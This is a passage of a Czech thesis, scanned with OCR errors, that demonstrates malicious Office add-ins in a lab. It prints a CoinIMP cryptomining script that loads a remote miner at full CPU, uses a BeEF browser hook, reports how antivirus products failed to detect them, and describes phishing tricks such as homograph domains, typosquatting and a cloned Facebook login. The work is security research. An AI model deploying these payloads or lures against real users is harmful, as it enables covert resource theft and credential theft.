strance Home.html. Pfi vyvoji dopliku byva tato hodnota nahrazena tagem localhost:xxxx
(xxxx symbolizuji volny port). Dalsim tagem v HelloWordManifest.xml manifestu je URL id
= “TaskPane“. Tento tag udava grafické uzivatelské rozhrani (GUI) produktu Microsoft Of-
fice, ve kterém bude zobrazena webova stranka Home.html. Hodnota TaskPane vytvaii GUI
prvek podokno tloh, které je zobrazeno na Obrazku 9 v ¢asti Microsoft Office produkt. Webova
stranka Home.html obsahuje zdkladni HTML strukturu (html, head, body) zahrnujici parovy
tag <h2> Hello World! </h2>. Funkcionalitou webové stranky Home.html je vypis nadpisu

druhé trovné, ktery je zobrazen na Obrazku 9 v ¢asti Microsoft Office produkt.

5.4.3 Zpusoby nasazeni doplnku skrze platformu Office doplnkia

Existuji ¢tyri distribuce Microsoft Office doplnku.
1. Centralizované nasazeni (Centralized deployment)
Metoda je urcena pro organizace. Pro pouziti centralizovaného nasazeni dopliku je potieba

mit sluzbu spréava Microsoftu 365 (The Office 365 admin center) a byt administratorem

sluzby Office 365 pro danou organizaci. Administrator muze doplnék nasadit vSem za-

41



méstnanciim organizace nebo urc¢itym skupinam zaméstnanci. Doplnék je touto metodou

automatiky zaveden zaméstnanciim bez nutnosti jakékoliv konfigurace. [52]

. SharePoint

Jednd se o platformu pro sdileny pristup k Microsoft Office dokumentim, intranetovym
strankam nebo muze fungovat jako firemni socialni sit. Stejné jako predchozi metoda nasa-
zeni doplnku, tak i tato metoda je uréena predevsim pro organizace. Pouze administrator
platformy SharePoint mize nahrat doplnék pro Microsoft Office dokumenty. Jakmile za-
meéstnanec vytvori ¢i otevie Microsoft Office dokument, bude pro néj doplnék dostupny, ale
pouze na platformé SharePoint. Pokud Microsoft Office dokument stdhne na sviij lokani

pocita¢ doplnék nebude déle k dispozici. [53]

. Microsoft Office obchod (Microsoft AppSource)

Jiz v roce 2016 Microsoft vytvoril Microsoft Office obchod (Microsoft AppSource) pro své
Microsoft Office dopliky, na kterém mohou vyvojari své dopliky zadarmo ¢i za finanéni
obnos distribuovat. V roce 2016 se v tomto obchodé nachézelo kolem 200 doplnkt pro
Microsoft Office produkty. O rok pozdéji se pocet doplikiu zvysil na 2600. NavysSeni do-
Office produktii. Aktudlné v bfeznu 2020 se v obchodé nachézi 2940 doplnku pro Office
365.

Jestlize tito¢nik bude chtit sviij doplnék distribuovat pres Microsoft AppSource, musi velmi
dobre implementovat infekci a payload. Pfed nasazenim doplnku do Microsoft Office ob-
chodu dochézi k jeho automatické kontrole spole¢nosti Microsoft. Pokud je v doplnku
objevena infekce ¢i payload, je doplnék zamitnut k distribuci. Dalsi podminkou pro tspés-
nou distribuci doplitku je nutnost dodrzet celou fadu nafizeni, které jsou dostupné v

smluvnich podminkach Microsoft AppSource. [54]

. Sitové sdileni (Network share)

V této metodé nasazeni je funkcionalita dopliiku hostovana na webové strance. k Gspés-
nému pouziti doplnku je nutné aby si uzivatel obstaral od vydavatele dopliku manifest,
ktery obsahuje adresu a pristupové préva (token) na webovou stranku s doplinkem. Po

ziskani manifestu musi uzivatel tento manifest vlozit do Microsoft Office produktu. [55]

Zadna z metod nasazeni nema dokonalé pocatecni podminky pro infekci. Prvni dvé zmi-

néné metody (Centralizované nasazeni, SharePoint) lze pouzit pro hromadnou infekci firemnich

pocitactu vyuzivajici Microsoft Office produkty. Je vSak nutné, aby utocnik prvné ziskal admi-

nistratorska prava od sluzby sprava Microsoftu 365 nebo SharePoint. Ziskani téchto opravnéni

je slozité, nebot by utoénik musel prolomit dvoufaktorové ovéreni (heslo ke sluzbé, potvrzovaci

SMS zprava) a dalsi bezpecnosti prvky jako je napriklad nutnost byt prihlasen ve firemni siti.

[56] Pro infekci skrze Microsoft AppSource (Microsoft Office obchod) musi Gto¢nik otestovat

algoritmus, ktery Microsoft vyuziva k automatické kontrole doplnku a zjistit, zda algoritmus lze

obejit. Testovani tohoto algoritmu bude c¢asové naro¢né, jelikoz Microsoft na svych webovych
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strankach uvadi, ze vysledky, zda doplnék prosel pres bezpecnosti kontrolu bude znam za 3 az
5 dni. Pokud utoc¢nik uspéje, bude jeho doplnék verejné dostupny jak pro bézné uzivatele, tak
pro spolec¢nosti. [54] Nasazeni doplitku prostfednictvim sitového sdileni muze uzivatele odradit,
kvuli nutnosti provedeni fady nastaveni (v Microsoft Office produktu i v opera¢nim systému
Windows) k zprovoznéni doplitku. Tato metoda je vyhodnd pro ttocnika, protoze mize kdykoliv

a snadno modifikovat payload ulozeny na webové strance.

5.5 Vytvoreni infekce pomoci platformy Office doplinku

V kapitole se pokusim vytvorit infekci a dva rozdilné payloady pro platformu Office doplnku. In-
fekce bude souc¢ésti manifestu (viz kapitola 5.4.3) a payloady budou implementovany na HTML

strance. Na konci kapitoly zhodnotim, zda je infekce pres platformu Office doplnku mozna.

5.5.1 Zprovoznéni doplinku

Pro nasazeni dopliku jsem zvolil metodu sitového sdileni (viz kapitola 5.4.3).

K vyzkouseni infekce je zapotiebi zajistit hostovani HTML stranky. Pro 1icel hostovani jsem
vyuzil webovy server IIS Express?. Tento webovy server bude HTML stranku provozovat na
lokalni adrese hosta (localhost) na portu 50187. Nésledné vytvofim virtudlni pocita¢ (Windows
10) simulujici uzivatele dopliiku. Virtudlni pocitac¢ se pro pristup na localhost od hostujictho
pocitace musi nachdzet ve stejné siti. Uzivatel (virtualni pocita¢) bude k hostované HTML

strance pristupovat prostrednictvim Microsoft Office Word dopliku (viz Obrazek 10).

2IIS Express je odlehéen4 verze softwarového serveru IIS. Tato verze IIS je uréena predevsim pro testovaci
ucely a vyvojare.

43



£ search

Fla  Home  Insert  Design  layout  References  Mailings  Review  View  Help

1% Share I Comments

. = PFind ~
Eﬁ Calibri (Body)  ~|11 | A" A" Aav | A | iZ 2L T | |aasbcene] asbcene AaBbC( AaBbCcT ot 0 L
<] | b Replace
Paste 2 = - Dictate Show
B I U~ . - £ A~ = T Normal | TNoSpac.. Headingl Heading2 |5
B U x A LR — = P E E I3 Select - ~ Taskpane
Clipboard & Font & Paragraph Il Styles 51 Editing Vaice Sensitivity | Commands Group | .~
Infection v 8
Hello Word !!!
] Focus B - 1 + 100%

Pageof1 Owords English (United States)

Obrazek 10: Infikovany doplnék vytvoreny skrze platformu Office doplnki

5.5.2 Infekce a payload

K infekci vyuziji manifest, ktery uzivatele presméruje na HTML stranku obsahujici payload.
K provedeni infekce bude potieba pro daného uzivatele (virtudlni pocitac¢) nasdilet manifest
doplnku. Uzivatel bude muset v produktu Microsoft Office Word nastavit cestu k manifestu.
Dalsim krokem uzivatele je v menu Moje dopliiky (My add-ins) aktivovat tento doplnék. Posled-
nim nutnym nastavenim k spravnému nasazeni doplnku je potfeba restartovat Microsoft Office

Word.
K otestovani, zda lze provést skodlivy kéd v Microsoft Office Word jsem se rozhodl vytvorit

dva odlisné payloady.
1. Prvnim payloadem se pokusim otestovat moznost tézby virtualni mény v Microsoft Office
dopliiku. Pro experiment jsem zvolil ménu CoinIMP vyuzivajici k tézbé procesor (CPU)
uzivatele. Pr1i registraci na strankéch spolecnosti, kterd zprostredkovava tuto tézbu jsem

ziskal automaticky vygenerovany JavaScriptovy kéd (viz Vypis 4). [57]
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<script src="https://www.hostingcloud.racing/pAPP.js"></script>
<script>
var _client = new Client.Anonymous(’41
c9e2f3aec123e3baef04414eb0dc3fad61dfe36984847d89311bxxxxxxxxxx’, {
throttle: O
s
_client.start();

</script>

Vypis 4: Skript pro tézbu CoinIMP

Prvni radek Vypisu 4 odkazuje na JavaScriptovy kod, ktery vyuziva procesor k vypoctu
hasovacich funkei (hash). Néasledné je mozné vidét hexadecimalni fetézec o konstantni
délce 64 znaku (kvili moznému zneuziti jsem poslednich 10 znaka nahradil znaky x).
Tento Tetézec slouzi jako jedine¢ny identifikdtor (ID). Na zdkladé ID je urcena osoba (v
pripadé diplomové préace utocénik) ziskavajici vytéZenou ménu do své virtualni penézenky.
Hodnota throttle ve Vypisu 4 udédva na kolik procent se mé procesor uzivatele vytizit.
Pokud je throttle na hodnoté 0 vyuziva se 100 % CPU. Nejnizsi nastavitelnou throttle
hodnotu je 0.9 (vyuziti 10 % CPU). [57]

2. Obsahem druhého payloadu je skodlivy kod, ktery uzivatele pfiméje vyuzit hook.js. [58]
Tento JavaScriptovy kéd je urcen k takzvanému zachyceni (hook) uzivatele. Jakmile je
uzivatel zachycen, muze tto¢nik ziskat z jeho webového prohlizece citlivé iidaje ¢i dokonce

pomoci phishingovych metod primét uzivatele k provedeni dalsiho payloadu.

5.5.3 Pruabéh infekce a payloadu

V kapitole proberu podrobnéjsi postup infekce a provedeni obou vyse zminénych payloadu (viz
kapitola 5.5.2). V piiloze prace lze také nalézt videa (OfficeJS__AddIn_ Mining, OfficeJS_AddIn_Hook)
simulujici prabéh payload. Také otestuji infekci s payloady na vybranych antivirovych progra-
mech.

Infekce pro oba payloady byla provedena stejnym zptisobem, a to skrze manifest dopliku.

Tento postup infekce jsem jiz avizoval v kapitole 5.5.2.

1. Pro payloadou na tézbu CoinIMP jsem throttle nastavil na hodnotu 0 (vyuziti 100 %
CPU). Kéd jsem vlozil na HTML stranku, kterd dopliku poskytuje funkcionalitu.

Manifest doplnku obsahuje krom odkazu na infikovanou HTML stranku i implementaci
GUI prvka vyuzivajici se v doplinku Microsoft Office Word. Na obrazku 10 lze vidét, ze
manifest pridal do nabidky tlacitko Show Taskpane. Toto tlacitko vytvori podokno tloh
(task pane), ve kterém je zobrazen obsah a funkce HTML stranky. Uto¢nikova HTML

stranka kromé infekce obsahuje vypis textu ,Hello Word !!!“ (Ize vidét ve video ukdzce
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OfficeJS__AddIn_ Mining a na Obrazku 10). Jakmile uzivatel stiskne tlacitko Show Task-
pane, dojde k provedeni payloadu a uzivatel nevédomé poskytuje ito¢nikovi hardware k

tézbé kryptomény.

V prilozeném videu OfficeJS__AddIn_Mining je simulovan pocita¢ uzivatele (virtualni
pocitac) na némz se spousti skodlivy Microsoft Office doplnék. Soucdsti video ukazky je
vypis spravce uloh (task manager) zobrazujici proces Microsoft Office Word vyuzivajici
CPU uzivatele na 100%.

. Payload pro zachyceni (hook) uzivatele je taktéz vloZzen na HTML strdnce utoc¢nika. Pro

realizaci infekce a payloadu vyuzivam nistroj BeEF? umoznujici ttoénikovi ziskat infor-
mace o cilovém pocitac¢i ¢i pomoci phishingovych metod si v cilovém pocitaci zajistit
perzistenci. Manifest stejné jako u predeslého payloadu nacte GUI prvky pro Microsoft
Office Word (viz Obrazek 10). [59]

& Hook.js

== P Manifest

A

HTML stranka
d L
Payload
» G R Lo > -
Utoénik Webovy server Uzivatel

Obréazek 11: Pribéh hook.js payloadu

Obrazek 11 zobrazuje prubéh infekce a provedeni payloadu. Komunikaci zahajuje uzivatel
zaslanim zadosti (request) na webovy server prostfednictvim manifestu. Webovy server za-
chyti (hook) uzivatele a vytvori spojeni mezi titoénikem a uzivatelem. Webovy server také
odesle (response) funkcionalitu HTML stranky uzivateli. PreruSovand Sipka na Obrazku

11 symbolizuje volitelny payload, ktery muze ito¢nik pomoci nastroje BeEF odeslat.

Prilozené video OfficeJS__AddIn_Hook je rozdélené do dvou ¢asti. V prvni ¢asti (od 0:00
do 0:08) je mozné vidét, jak infekce probéhne na strané uzivatele. Nasledné zac¢ind druhd
¢ast videa (Od 0:09 do 0:37) z pohledu tito¢nika. Tato ¢ast videa se odehrava v operac-
nim systému Kali Linux a ukazuje, jak je uto¢nik skrze BeEF informovan o zachyceném

uzivateli.

3BeEF je penetraéni néstroj zaméiujici se na testovani webovych prohlize¢i. Tento penetraéni nastroj umoz-
nuje navazat komunikaci mezi ato¢nikem a webovym prohlizecem uzivatele, ktery je napadeny skrze zranitelnost

XSS.
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Oba payloady jsem se rozhodl otestovat nékolika antivirovymi aplikacemi od raznych vy-
robci. Vyrobci byli zvoleni podle zastoupeni na trhu v oblasti antivirovych feSeni. Na obrazku
12 je mozné vidét pét vyrobcu antivirovych programu s nejvétsi zastoupenim na trhu v listopadu
2019. [60]

McAfee Inc

ESET

Bitdefender Symantec Corporation

AVAST Software a.s.

Ostatni antivirové programy

Obrézek 12: Rozdéleni trhu antivirovych spole¢nosti, listopad 2019

Ctyfi z testovany antivirovych vydavatelii (Symantec Corporation, ESET, Bitdefender a
AVAST Software a.s) nabizeji vice edic svych antivirovych programu, proto jsem se rozhodl
otestovat jejich nejlevnéjsi a nejdrazsi edici. V Tabulce 7 je mozné vidét vyrobce antivirového

feSeni a jeho testované antivirové softwary.

Antivirovy Vydavatel Jediné edice Nejlevnéjsi edice | Nejdrazsi edice
program
. Norton 360 Norton 360 PRE-
Norton 360 | Symantec Corporation X STANDART MIUM
McAfee McAfee, Inc MCAfee. Total X X
Protection
ESET Smart
ESET ESET X ESET NOD32 Security Pre-
mium
Bitdefender Bitdefender
Bitdefender | Bitdefender X Antivirus Plus Total Security
2020 2020
. . Avast Antivi-
A.V&St Anti- AVAST Software a.s. X A.V&St Free Anti- rus Premium
virus virus .
Security

* X Antivirovy program neobsahuje tuto moznost.

Tabulka 7: Edice antivirovych programu

Pouze antivirova spole¢nost McAfee nabizi jednu edici svého softwaru. Prvni ¢tyfi antivi-

rové spolecnosti (Symantec Corporation, McAfee, ESET, Bitdefender) nabizeji svij produkt
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jako placeny software, spole¢nost AVAST Software a.s. poskytuje své zakladni antivirové feseni
zdarma.

Zminéné antivirové programy jsou nainstalované na cilovém pocitaci uzivatele (virtudlni
pocitac¢). Na tomto virtudlnim pocitaci je nainstalovand nejnovéjsi verze operacniho systému
Windows 10 (verze 1909 build 18363.657). VSem antivirovym programim jsem nechal vychozi
nastaveni a aktualizoval jsem je na nejnovéjsi verzi. Nasledné jsem spustil doplnék, ktery se
pripojil na infikovany server. V Tabulce 8 je vidét antivirovy software spolu s vysledky pro

jednotlivé payloadu.

H Antivirovy program ‘ Tézba CoinIMP ‘ Hook.js H
Norton 360 STANDART
Norton 360 PREMIUM

McAfee
ESET NOD32

ESET Smart Security Premium

Bitdefender Antivirus Plus 2020

Bitdefender Total Security 2020

Avast Free Antivirus

N R RIEIANANE IR Y
[ 3| N3] x| %] x|

Avast Antivirus Premium Security

* X Antivirovy program neodhalil infekci s payloadem.
* v Antivirovy program odhalil infekci s payloadem.

Tabulka 8: Srovnani antivirovych programu na testovanych payloadech

Skodlivy doplnék byl odhalen pouze u antivirovych vyrobcit ESET (ESET NOD32 a ESET
Smart Security Premium) a Bitdefender (Bitdefender Antivirus Plus 2020, Bitdefender Total
Security 2020). Oba testované antivirové programy spole¢nosti ESET zablokovaly tézbu krypto-
mény, avsak zachyceni uzivatele pomoci hook.js jiz neodhalily. Antivirové programy vydavatele
Bitdefender okamzité nalezly hook.js a toto spojeni zablokovaly, nicméné tézbu virtualni mény

umoznily.

5.6 Shrnuti infekce platformy Office doplnku

Infekce skrze dopliiky na platformé Office doplitku je skutecné mozna. Nevyhodou této infekce
jsou zptisoby nasazeni doplitku do cilového poéitace. Utoénik m4 t¥i zptisoby jak doplnék distri-
buovat. Prvnim zpiisobem je moznost hromadné nasadit doplnék do vsech firemnich pocitaca
(Centralizované nasazeny, SharePoint) vyuzivajici Microsoft Office produkty. K tomuto nasazeni
ovsem utoc¢nik potrebuje administratorska prava a splnit fadu dalsich bezpec¢nostnich opatieni
(napriklad byt ve firemni siti). Druhym zpusobem je nasadit doplnék do Microsoft Office ob-
chod, zde je ale doplnék zkontrolovan bezpecnostnim algoritmem spole¢nosti Microsoft. Pokud
by se ttoc¢nikovi podarilo infekci a payloadu ukryt pred timto algoritmem, pak bude doplnék
dostupny pro sirokou komunitu uzivateli a firem. Poslednim zplisobem je hostovat doplnék na
webovém serveru. Nevyhodou metody je nutnost, aby uzivatel udélal sérii netrivialnich krokua k

aktivaci doplnku, coz muze uzivatele odradit od nasazeni doplnku.
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Utoénik mus{ také volit spravny payload na webovém serveru. Uzivatel miize byt pfipojen
na infikovaném serveru jen kratkou chvili. Doplnék se k webovém serveru pripoji pouze kdyz
je spravné spustén a spojeni existuje pouze po dobu spusténi dopliku, respektive po vypnuti
doplnku je ukonc¢eno veskeré spojeni s webovym serverem. V Dokumentaci pro platformu Of-
fice dopliiku je mozné nalézt kapitolu popisujici postup pro automatické spusténi doplnku pri
otevieni Microsoft Office Word. [61] Bohuzel se mi automatické spusténi doplinku nepodarilo
zprovoznit z neznamych divodu. Béhem provozu se zadné chyba nevyskytla a Microsoft Office
Word hlésil tispésné spusténi doplnku, ke kterému ve skutecnosti nedoslo. Pokud by se ttoc¢ni-
kovi podarilo zajistit spusténi doplnku automaticky pri otevieni Microsoft Office Word, mohl
by opakované provadét payload na strané uzivatele (zajisténi perzistence). Rovnéz by utoc¢nik
mohl na webovém serveru ménit obsah payloadu dle potreby.

V pritbéhu vyvoje infekce a payloadu jsem narazil pouze na jedno omezeni pro platformu
Office doplnku. Microsoft Office Word neni schopen zobrazit JavaScriptovy alert box z HTML
stranky. Pokud je alert box pouzit, vytvori to chybu na strané webového serveru. Pro pouziti
alert boxu je v dokumentaci od Microsoftu zminéna alternativa v podobé dialogovych API
(dostupné pro Microsoft Office Word, Excel, PowerPoint a Outlook). [62] Ve Vypisu 5 je mozné
vidét kod pro dialogové API.

Office.context.ui.displayDialogAsync(’Webova stranka’);

Vypis 5: Vytvoreni dialogového okna v Microsoft Office Word

Tato metoda (viz Vypis 5) mé povinny parametr, a to odkaz na webovou stranku, kterd se méa
zobrazit v dialogovém okné (Dialog box). Priklad, jak vypadé dialogové okno v Microsoft Office
Word lze vidét na Obrazku 13.

Infikovany doplnék odhalily pouze dvé antivirové sopecnosti, a to ESET a Bitdefender, avsak
pouze jeden z dvou testovanych payloadii. Pro infekci s payloadem na tézbu kryptomény doslo k
odhaleni pouze u dvou antivirovych programu (ESET NOD32, ESET Smart Security Premium)
z deviti testovanych. Stejného vysledku doséhla i infekce s payloadem pro zachyceni (hook) uzi-
vatele (Bitdefender Antivirus Plus 2020, Bitdefender Total Security 2020). Antivirové programy
od vyse uvedenych péti spolec¢nosti vyuziva 52 % uzivatelu, kter{ se rozhodli nainstalovat nékteré
antivirové feseni do svého pocitace. Pokud se tito¢nik rozhodne nasadit skodlivy doplnék s pay-
loadem na tézbu CoinIMP, existuje vysoka pravdépodobnost, ze infekce s payloadem nebude u
téchto uzivateli odhalena (odhaleno pouze u dvou antivirovych softwart z deviti testovanych).
Stejného vysledku utoc¢nik dosdhne i u infekce s payloadem pro zachyceni uzivatele.

Platforma Office dopliku je multiplatformni, coz uto¢nikovi nabizi moznost infikovat velké
mnozstvi uzivateli. Infikovany doplnék lze aplikovat na opera¢nim systému Windows a Mac,

IPad, mobilni telefony ¢i na webové prohlizece.
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Obrazek 13: Ukazka dialogového okna v Microsoft Office Word, ptrevzato z dokumentace Micro-

soft Office [62]

5.7

Srovnani VSTO a platformy Office doplnki

V podkapitole srovnam VSTO a platformou Office dopliiku. Tabulka 9 obsahuje souhrn rozdilt
mezi VSTO a platformou Office dopliiku.

H \ VSTO Platforma Office dopliku H
Nasazeni Instalacni soubor 4 metody nasazeni
Multiplatformni dopliky Ne Ano
Office obchod (store) Ne Ano
Programovaci jazyky C+#, Visual Basic.NET JavaScript, CSS, HT'ML, TypeScript
Hromadné nasazeni doplnku Ne Ano

Potfebnda veze Office balikt

Microsoft Office 2003 a vyssi

Microsoft Office 2016 a vyssi

" Kaskadovy styl (CSS)

Tabulka 9: Srovnani VSTO a platformy Office doplnku

V Tabulce 9 je vidét, ze VSTO je mozné nasadit jen pomoci instalacntho souboru, a to

pouze pro operacni systém Windows. Dopliiky vytvorené pomoci VSTO nelze distribuovat v

Microsoft AppSource (Microsoft Office obchod) ¢i je hromadné nasadit ve firmé. VSTO je uréeno

pro tvorbu komplexnéjsich doplinkt. Dopliky mohou byt optimalizovany i pro starsi verze Office

balikt.

Platforma Office doplikil ma Sirsi moznosti, jak mtze byt doplnék nasazen. Distribuce do-

plnki vytvorenych pomoci webové technologii je snazis nez u VSTO, doplinky mohou byt dis-
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tribuovany v Microsoft AppSource (Microsoft Office obchod) a také jsou multiplatformni, tedy
pokryvaji mnohem vétsi okruh potenciondlnich uzivatelt. Platforma Office doplitkt byla vytvo-

fena hlavné pro firmy, které chtéji hromadné nasadit doplnky pro své zaméstnance.

Doplnky pro Office

Omlouvame se, ale konfigurace Office 365
nepovoluje jednotlivé porizovani Doplnkd pro
Office.

Obrazek 14: Blokovani dopliiku v Microsoft Office obchodu

Administrator Microsoft Office baliktl ve firmé muze pro vSechny zaméstnance spole¢nosti
zamitnou vstup do Microsoft Office obchodu, ¢i zakazat pouzivani jakychkoliv doplnka. Zamit-
nuty vstup do Microsoft Office obchodu lze vidét na Obrazku 14. V pripadé zdkazu pouziti
VSTO doplnku muze zaméstnanec doplnék nainstalovat, ale k jeho spusténi nedojde. Pokud
firma pouziva platformu Office doplinku a jeji administrator blokuje vstup do Microsoft Of-
fice obchodu, nemuze si zaméstnance doplnék stahnou, tedy moznost nasazeni skrze Microsoft
AppSource (viz kapitola 5.4.3) neni moznd. Pokud se zaméstnanec pokusi nasadit doplnék pres
sitové sdileni (viz kapitola 5.4.3), bude doplnék stazen, ale stejné jako u VSTO doplinku, nebude
spustén. Pokud bude administrator potiebovat nasadit néktery doplnék vyuzije k tomu metody
centralizované nasazeni (viz kapitola 5.4.3) nebo SharePoint (viz kapitola 5.4.3). Tyto metody

vyzaduji administrativni prava umoznujici spravu zaméstnaneckych tuctu.

5.8 Zavér infekce skrze doplinky Microsoft Office

Na zakladné experimentu, pii kterém jsem skodlivy doplnék nasadil na simulovany pocitac
(uzivatel) muzu soudit, ze infekce skrze VSTO dopliky a dopliky vytvorené platformou Office
dopliiku je mozna. Obé metody pro tvorbu dopliiku funguji zcela odlisné a vyuzivaji rozdilné
technologie.

VSTO je soustfedéno na tvorbu doplitkt pro jednotlivce, pficemz jedinym zptsobem distri-
buce doplitku je instala¢ni soubor. Vyhodou infekce je jednoduché dosazeni perzistence a Siroka

skdla moznych payloadil. Utoénik musi sviij payload dobfe zvazit, pokud bude payload odhalen
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antivirovym resenim, bude doplnék okamzité z operacniho systému odstranén. Jedinou efektivni
obrannou uzivatele je vyhnuti se instalaci neovérenych VSTO doplnku.

Platforma Office doplnku je vhodna pro siteni mezi vetsi pocet uzivateld. Doplnék vytvoren
touto metodou je mozné distribuovat ¢tyrmi zpusoby, pricemz dva zpusoby distribuce jsou
urcené pro firemni pouziti (Centralizované nasazeni, SharePoint). Pravé u téchto dvou zptusobu
nasazeni se uzivatelé chrani tim, ze svéruji ochranu pred doplikem firemnimu spravci Microsoft
Office uctu. Je-li doplnék nasazen v Microsoft Office obchodu, spoléhd uzivatel na fakt, Ze tento
doplnék byl ovéren spole¢nosti Microsoft. Nejnebezpecnéjsim zptisobem pro uzivatele je zavedeni
doplnku pouze skrze manifest (Sitové sdileni). Bézny uzivatel nezjisti, kam se dany manifest pro
funkcionalitu doplinku napojuje. Nejlepsim zptisobem obrany uzivatele je stejné jako u VSTO
dopliiku se témto neovérenym doplnkiam vyvarovat.

Kazda metoda pro tvorbu skodlivého doplinkt méa z pohledu utoc¢nika radu vyhod a nevy-
hod. Utoénik se musi na zakladé vyse zminénych rozdili rozhodnou, kterda metoda je pro ngj

nejvhodnéjsi.
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6 Phishingové ttoky prostrednictvim webové stranky

Phishing dlouhodobé zustédva nejrozsitenéjsi formou infekce. [63, 64] Na zakladé tohoto faktu
zacalo vznikat velké mnozstvi odbornych i neodbornych praci predstavujici stale novéjsi metody
obrany pred infekci phishingem. Nové vznikajici prace neobsahuji vysvétleni jak k phishingu do-
chazi, ¢i jaké jsou aktudlni zptsoby sifeni infekce. Na neodbornych webovych strankach varujici
uzivatele pred touto formou infekce se objevuji nejasné nebo dokonce Spatné interpretované
informace. Cilem néasledujici kapitoly bude objasnéni informaci ohledné phishingu a popsani
metod obrany. Provedu simulaci dvou phishingovych Gtokt. Simulace je mozné nalézt ve formé

videa (Phishing FakeWebsite, Phishing PopUp) v priloze préce.

6.1 Prabéh Phishingu
Existuji dva zakladni pribéhy, jak Gtocnici donuti uzivatele vstoupit na infikovany web.

1. Prvnim zpusobem je zaslani velkému mnozstvi uzivatelu skodlivou zpravu (viz Obrazek
15). Skodlivou zpravou miize byt napifklad email, zprava na socidlni siti (Facebook, In-
stagram, Tinder atd.) nebo klonovd zprava (clone message). K ziskani kontakti mize
uto¢nik vyuzit webové prochazece (web crawler), ukrést informace z webové databéze
(napfiklad SQL injection) ¢i koupeni odcizené databize na temném webu (dark web).
Jakmile ttoc¢nik ziskd kontakty, odesle jim zpravu obsahujici odkaz na jeho infikovanou

webovou stranku.

—
——
——
Ny, |
“ ’

Utoénik

- . -
https://bit.ly/2UF9iDX | )

“TWWW

Skodliva zprava Infikovana webova stranka

Obrazek 15: Prubéh phishingu prostrednictvim skodlivé zpravy

Utoénici ¢asto vyuzivaji bezplatné webové hostovani. Webové adresa na bezplatné hos-
tovanou webovou stranku obsahuje pevné danou doménu druhého tddu (9e.cz, 000web-
host.com a mnoho dalsich). Volitelnou ¢asti zistava pouze doména tfetiho fadu (webova
adresa muze vypadat takto: http://www.fblog.9e.cz/). Pravé pevné dand doména druhého
radu muze byt pro uzivatele podezreld, proto tto¢nici adresu na infikovanou webovou

stranku skryvaji. [65]
Ke skryti odkazu ma ttocnik nékolik moznosti:
e Castou metodou je schovani odkazu pomoci HTML elementu <a>. Ve video ukézce
Phishing FakeWebsite lze vidét piiklad této metody.

e Utoé¢nici mnohdy skryjvaji skodlivy odkaz za pomoci zkracovact (bitly, rebrandly).

Na Obrézku 16 jsou zobrazeny dva odlisné internetové odkazy. Z prvniho odkazu
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lze vycist, ze sméfuje na doménu cz a na internetovou stranku wsb. Druhy odkaz
neobsahuje zddné prvky, ze kterych by bylo mozné urcit doménu ¢i internetovou
stranku, na kterou odkaz sméfuje. Ve skutecnosti oba tyto odkazy sméruji na stejnou

webovou stranku (https://www.vsb.cz/).

https://www.vsb.cz/ x https://bit.ly/2yeByWo

Obrazek 16: Porovnani webovych adres

o Skodlivy odkaz lze také predat za pomoci obrazku ve tvaru JPEG. Jakmile uzivatel

klikne na tento obrazek, je presmérovan na infikovany web.

e Homografovy tutok (IDN homograph attack) je nejpokrocilejsi metodou k donuceni
uzivatele pro vstup na infikovanou webovou stranku. Homografovy ttok nahradi AS-
CII znak/znaky v URL adrese za Unicode nebo Punycode znak/znaky. V Tabulce
10 a na Obrazku 17 je vidét piiklad dvou odkazt. Prvni odkaz sméruje na legitimni
webovou stranku, zatimco druhy odkaz presméruje uzivatele na webovou stranku
utoénika. Homografovy utok je mozné pouzit pouze u domén podporujici Unicode/-

Punycode znaky. Ceska doména (cz) tyto znaky nepodporuje. [66, 67]

H Znak ‘ Latinské znaky (Unicode Hex) ‘ Cyrilice (Unicode Hex) H

a U-+0061 U-+0430
P U+0070 U-+0440
1 U+006C U+04CF
e U+0065 U+0435

Tabulka 10: Srovnani Unicode znaku

https://www.apple.com x https://www.apple.com

Obrazek 17: Porovnani domén

Poslednim krokem tutoé¢nika (viz Obrazek 15) je provedeni nekalych praktik s cilem ziskat
citlivé idaje uzivatele. Tyto praktiky je mozné najit na infikované webové strance. Priklady

infikované webové stranky jsou uvedeny v kapitole 6.2.

. Druhym zptsobem jak pfimét uzivatele vstoupit na dto¢nikovou webovou stranku, je
chyba uzivatele pii zadavan{ dobfe zndmé webové stranky. Utoénici si tyto $patné zadané
adresy registruji a provozuji na nich infikované webové stranky.

Napriklad toénik si muze registrovat adresu, ktera ma prohozené znaky ,,y“ za ,z* a na-
opak. Tyto znaky jsou tercem ttocniki, jelikoz uzivatelé mnohdy prepinaji mezi qwerty a
qwertz verzi klavesnice. Qwerty a qwertz klavesnice ma tyto znaky prohozené. Pokud tedy

uzivatel zapomene piepnou zpét na qwerty/qwertz kldvesnici mize misto webové stranky
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www.youtube.com vstoupi na stranku www.zoutube.com (Tato adresa je jiz registrovina
a jejim obsahem je skodlivy kod, aktudlni k dubnu 2020).

Na Obrazku 18 je mozné vidét, ze Gtocnik nemusi obstaravat kontakty na uzivatele.

www.zoutube.com ‘ .

Www

Uzivatel Infikovana webova stranka

\4

Obrazek 18: Prubéh phishingu prostrednictvim chybné zadané webové adresy

Stejné jako u predeslého zplisobu vstupu uzivatele na infikovanou webovou stranku, tak i
tato webova stranka obsahuje skodlivé praktiky snazici se z uzivatele ziskat citlivé tdaje
(viz kapitola 6.2).

6.2 Infikovanid webova stranka

V kapitole popisi a uskuteénim dvé nejzndméjsi nekalé praktiky, které ttocnici vyuzivaji ve
svych webovych strankich s cilem ziskani citlivych informaci od uzivatele. Obé simulované
praktiky jsou dostupné v podobé videa (Phishing FakeWebsite, Phishing PopUp) v priloze

prace.

1. Jako prvni jsem se rozhodl simulovat infikovanou webovou stranku napodobujici vzhled le-
gitimni webové stranky www.facebook.com. Tato infikovand webova stranka pozada uziva-
tele o prihlaseni se na sviij facebookovy profil. Jakmile uzivatel zada své prihlasovaci udaje
(email, heslo) bude presmérovan na legitimni facebookovou webovou stranku. Pokud ma
uzivatele ve svému webovém prohlizeci ulozené prihlasovaci idaje (ve formé cookies sou-
boru) bude béhem presmérovani automaticky ptihlasen na sviij facebookovy profil (tento
postup je ve video ukdzce Phishing FakeWebsite). Automatické ptihlaseni uzivatele na
sviij Facebook profil snizi sanci na odhaleni faktu, ze uzivatele poskytl své prihlasovaci
udaje treti strané (ito¢nikovi). V pripadé, ze uzivatel nemd ve webovém prohlizeci ulozené
prihlasovaci idaje pro facebookovy profil je presmérovan na legitimni webovou stranku fa-
cebooku vyzyvajici jej k prihlaseni. Uzivatel si toto presmérovani muze vylozit jako Spatné

zadani prihlasovacich idaju a je nucen prihlaseni opakovat.

